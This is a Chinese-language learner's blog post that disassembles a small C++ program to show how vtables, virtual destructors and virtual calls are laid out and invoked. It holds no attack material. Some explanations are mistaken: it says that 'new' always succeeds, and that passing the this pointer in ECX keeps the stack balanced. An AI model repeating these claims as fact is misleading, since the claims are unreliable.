抽象基類的所有純虛函數必須被派生類定義的虛函數覆蓋,否者派生類也是一個抽象基類,不能創建自己的對象;先看下Test類,由於Test類不能創建自己的對象,所以我根據TestA類來解析調用過程。 Test類我們可以把它看做一個地址,這個地址裡面有些指針,只想函數的地址,假如Test類的地址是0x401000,那麼在這個地址裡面的第一個就是虛折構函數,方便釋放類的對象的時候調用,第二個沒有了,因為我們只在Test類中定義一個析構函數,和一個構造函數,構造函數在編譯的時候就被編譯器從類的里面給趴到Main來了,看下反彙編代碼:
00401091 |. 6A 04 PUSH 4
00401093 |. E8 68000000 CALL <JMP.&MSVCR90.operator new>
00401098 |. 8BF0 MOV ESI,EAX
0040109A |. 83C4 04 ADD ESP,4
0040109D |. 85F6 TEST ESI,ESI
0040109F |. 74 27 JE SHORT 004010C8
這裡就是TestA *pTest=new TestA這裡了,從這段代碼我們可以看出,new是無論何如都會調用成功的,因為CALL <JMP.&MSVCR90.operator new>後的返回值,被比較是否等於0了,雖然這個比較不是我們的代碼,但是編譯器就已經夠定了new無論如何都會調用成功,如果CALL <JMP.&MSVCR90.operator new>的返回值是0,那麼構造函數都會被跳過,而構造函數是會被程序調用的,如果不調用的話,這樣就和C++構造函數的說法相反了,所以new 操作符分配的內存一定會成功的,我們在接著看下下面這段代碼:
004010A1 |. 57 PUSH EDI
004010A2 |. 8B3D B0204000 MOV EDI,DWORD PTR DS:[<&MSVCR90.printf>] ; msvcr90.printf
004010A8 |. 68 0C214000 PUSH 0040210C ; /format = "Test::Test"
004010AD |. C706 7C214000 MOV DWORD PTR DS:[ESI],0040217C ; |
004010B3 |. FFD7 CALL EDI ; \printf
004010B5 |. 68 2C214000 PUSH 0040212C ; ASCII "TestA::TestA"
004010BA |. C706 8C214000 MOV DWORD PTR DS:[ESI],0040218C
004010C0 |. FFD7 CALL EDI
這段代碼顯然是兩個類的構造函數被調用了,那麼其中傳遞了兩個地址給ESI,我們看下這個地址是什麼類容,我們跟隨到數據窗口看一下,顯示格式選擇為地址格式
0040217C 00401000 這就是這個地址的內容,一個代碼地址
C++構造.00401000其中第一個地址指向如下地址,跟隨一下
00401000 . 56 PUSH ESI
00401001 . 8BF1 MOV ESI,ECX
00401003 . 68 18214000 PUSH 00402118 ; /format = "Virtual ~Test()"
00401008 . C706 7C214000 MOV DWORD PTR DS:[ESI],0040217C ; |
0040100E . FF15 B0204000 CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf
這裡顯然就是折夠函數了,所以當一個類中有虛析構函數的時候,這個虛析構函數的地址會被放在類指針的最前面,這裡把Test的地址的指針放入ESI裡面,然後根據ESP+8來判斷是否調用delete操作符,這些都是編譯器自動添加的,這是編譯器的事,我還沒那技術去研究
00401014 . 83C4 04 ADD ESP,4
00401017 . F64424 08 01 TEST BYTE PTR SS:[ESP+8],1
0040101C . 74 09 JE SHORT 00401027
0040101E . 56 PUSH ESI
0040101F . E8 D6000000 CALL <JMP.&MSVCR90.operator delete>
00401024 . 83C4 04 ADD ESP,4
00401027 > 8BC6 MOV EAX,ESI
00401029 . 5E POP ESI
0040102A . C2 0400 RETN 4
繼續我們上面的構造函數,類的構造函數被一次從上至下的調用之後,傳遞了Test和TestA的地址到ESI裡面,我們聲明的是TestA的對象,所以最後一個地址就是TestA了,看下反彙編代碼的調用過程
004010C2 |. 83C4 08 ADD ESP,8
004010C5 |. 5F POP EDI
004010C6 |. EB 02 JMP SHORT 004010CA
004010C8 |> 33F6 XOR ESI,ESI
004010CA |> 8B06 MOV EAX,DWORD PTR DS:[ESI] ;
004010CC |. 8B50 08 MOV EDX,DWORD PTR DS:[EAX+8]
004010CF |. 8BCE MOV ECX,ESI
004010D1 |. FFD2 CALL EDX
這裡ESI指向TestA類的起始地址,把這個起始地址傳到EAX裡面之後,就把這個類裡面的一個函數地址放到EDX裡面,TestA類本身一共有4個函數,剛才構造函數被外部也就是Main調用了,那麼裡面只剩下3個地址了,我們知道一個類如果有虛析構函數,第一個地址就指向虛析構函數的地址,EAX+8就是調用了
pTest->pointf();至於為什麼,自己想一下,MOV ECX,ESI通過ECX來保證堆棧的平衡
004010D3 |. 8B06 MOV EAX,DWORD PTR DS:[ESI] ; C++構造.0040218C
004010D5 |. 8B50 04 MOV EDX,DWORD PTR DS:[EAX+4]
004010D8 |. 8BCE MOV ECX,ESI
004010DA |. FFD2 CALL EDX
這裡就調用了pTest->prointer();因為我們是根據類的地址來決定調用哪個函數的
004010DC |. 8B06 MOV EAX,DWORD PTR DS:[ESI]
004010DE |. 8B10 MOV EDX,DWORD PTR DS:[EAX] ; C++構造.00401050
004010E0 |. 6A 01 PUSH 1
004010E2 |. 8BCE MOV ECX,ESI
004010E4 |. FFD2 CALL EDX
這裡就是調用TestA類的虛折構函數,也就是當前類的地址的第一個指針,我們跟踪進去看一下,下面是反彙編代碼:
00401050 . 56 PUSH ESI
00401051 . 57 PUSH EDI
00401052 . 8B3D B0204000 MOV EDI,DWORD PTR DS:[<&MSVCR90.printf>] ; msvcr90.printf
00401058 . 8BF1 MOV ESI,ECX
0040105A . 68 2C214000 PUSH 0040212C ; /format = "TestA::TestA"
0040105F . C706 8C214000 MOV DWORD PTR DS:[ESI],0040218C ; |
00401065 . FFD7 CALL EDI ; \printf
00401067 . 68 18214000 PUSH 00402118 ; ASCII "Virtual ~Test()"
0040106C . C706 7C214000 MOV DWORD PTR DS:[ESI],0040217C
00401072 . FFD7 CALL EDI
00401074 . 83C4 08 ADD ESP,8
00401077 . F64424 0C 01 TEST BYTE PTR SS:[ESP+C],1
0040107C . 74 09 JE SHORT 00401087
0040107E . 56 PUSH ESI
0040107F . E8 76000000 CALL <JMP.&MSVCR90.operator delete>
00401084 . 83C4 04 ADD ESP,4
00401087 > 5F POP EDI
00401088 . 8BC6 MOV EAX,ESI
0040108A . 5E POP ESI
0040108B . C2 0400 RETN 4
這裡調用了兩個虛析構函數的地方,為什麼是先調用~TestA,而不是先調用~Test呢,因為我們把這兩個析構函數定義為了虛函數,虛函數是在運行期決定調用誰的,當我們把TestA的成員函數調用完畢之後,析構函數會自動調用,因此,TestA完了之後就調用自己的析構函數,釋放最新分配的內存,所以,先調用TestA的折構函數,再調用Test的折構函數,這也是為什麼把析構函數聲明為虛函數的原因,
這裡調用了兩個虛析構函數之後,就是用delete指針刪除了由new分配的地址,分析完畢。
總結一下:
當我們定義了一個帶有虛函數的類的時候,這個類的虛函數就會被放在一個地址表裡面,這個地址表被放在類的入口裡面,當我們調用哪個類的時候,就使用哪個類的入口來調用裡面的虛函數,這就證名明了C++中得函數同名的虛函數的多態機制。
講得不好,如果有錯誤的地方請各位指出來,謝謝!